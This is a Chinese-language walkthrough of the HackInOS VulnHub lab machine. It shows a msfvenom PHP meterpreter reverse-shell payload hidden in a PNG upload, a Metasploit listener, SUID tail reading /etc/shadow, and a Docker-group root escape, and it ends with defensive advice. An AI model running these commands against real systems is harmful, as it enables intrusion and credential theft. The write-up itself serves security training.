VulnHub靶机学习——HackInOS实战记录
字数 1245 2025-08-18 11:39:04
HackInOS靶机渗透实战教学文档
靶机概述
- 难度等级:初/中级
- 目标:提权、获取flag
- 运行环境:
- 攻击机:Kali Linux
- 靶机:HackInOS
- 虚拟化平台:VM VirtualBox
- 网络设置:NAT模式
信息收集阶段
1. 端口扫描
使用Nmap扫描发现靶机开放端口:
- 22端口:SSH服务
- 8000端口:Web服务
2. Web服务分析
访问8000端口发现一个搜索框,初步尝试SQL注入无果。
使用Wappalyzer插件分析网站技术栈,但页面存在跳转到localhost的问题,影响用户体验。
3. 目录爆破
发现关键文件:
upload.php:文件上传接口
漏洞利用
1. 文件上传漏洞分析
查看upload.php源代码(通过页面中的GitHub链接)发现:
- 仅允许上传PNG或GIF格式图片
- 会校验文件内容
- 上传文件保存在uploads目录
- 使用随机MD5值重命名文件但保留原后缀
2. 生成并上传后门
- 使用msfvenom生成PHP Meterpreter后门:
msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.2.4 lport=6666 -f raw
-
将payload保存为PHP文件并与正常PNG文件合并
-
利用系统不检查文件后缀的特性上传后门
3. 建立反向连接
- 在Metasploit中设置监听:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 10.0.2.4
set lport 6666
exploit
-
编写Python脚本自动发现上传后门的MD5重命名文件
-
成功获取初始shell(低权限账户)
权限提升
1. 初步信息收集
-
检查
wp-config.php获取数据库凭证 -
上传并运行Linux提权信息收集脚本(linuxprivchecker.py)
-
发现关键信息:
- 系统可能运行在Docker中
tail命令设置了SUID位
2. 利用SUID提权
- 使用tail命令读取shadow文件:
tail /etc/shadow
-
获取root密码哈希并破解(密码为"john")
-
使用破解的密码提权
3. Docker环境突破
-
发现初始flag不是真正的flag
-
连接数据库查找更多凭证:
mysql -hdb -u wordpress -p wordpress
-
在
host_ssh_cred表中发现SSH凭证:- 用户名:ID
- 密码:MD5加密(破解后为"123456")
-
通过SSH登录
4. Docker提权
-
确认系统运行在Docker中
-
利用Docker组权限进行提权:
docker run -it -v /:/root ubuntu /bin/bash
- 通过挂载根目录找到真正的flag
总结与扩展
关键知识点
-
文件上传绕过:通过文件内容合并绕过MIME类型检查
-
SUID提权:利用配置不当的SUID二进制文件
-
Docker逃逸:利用Docker组权限挂载主机文件系统
学习资源
- Docker提权详细分析:《普通用户借助Docker容器提权思路分享》
https://www.freebuf.com/articles/system/170783.html
安全团队
Tide安全团队官网:http://www.TideSec.net
防御建议
- 严格限制文件上传功能,不仅检查扩展名还要验证内容
- 合理配置SUID权限
- 避免在Docker容器中使用特权模式
- 数据库凭证不应明文存储
- 使用强密码而非简单密码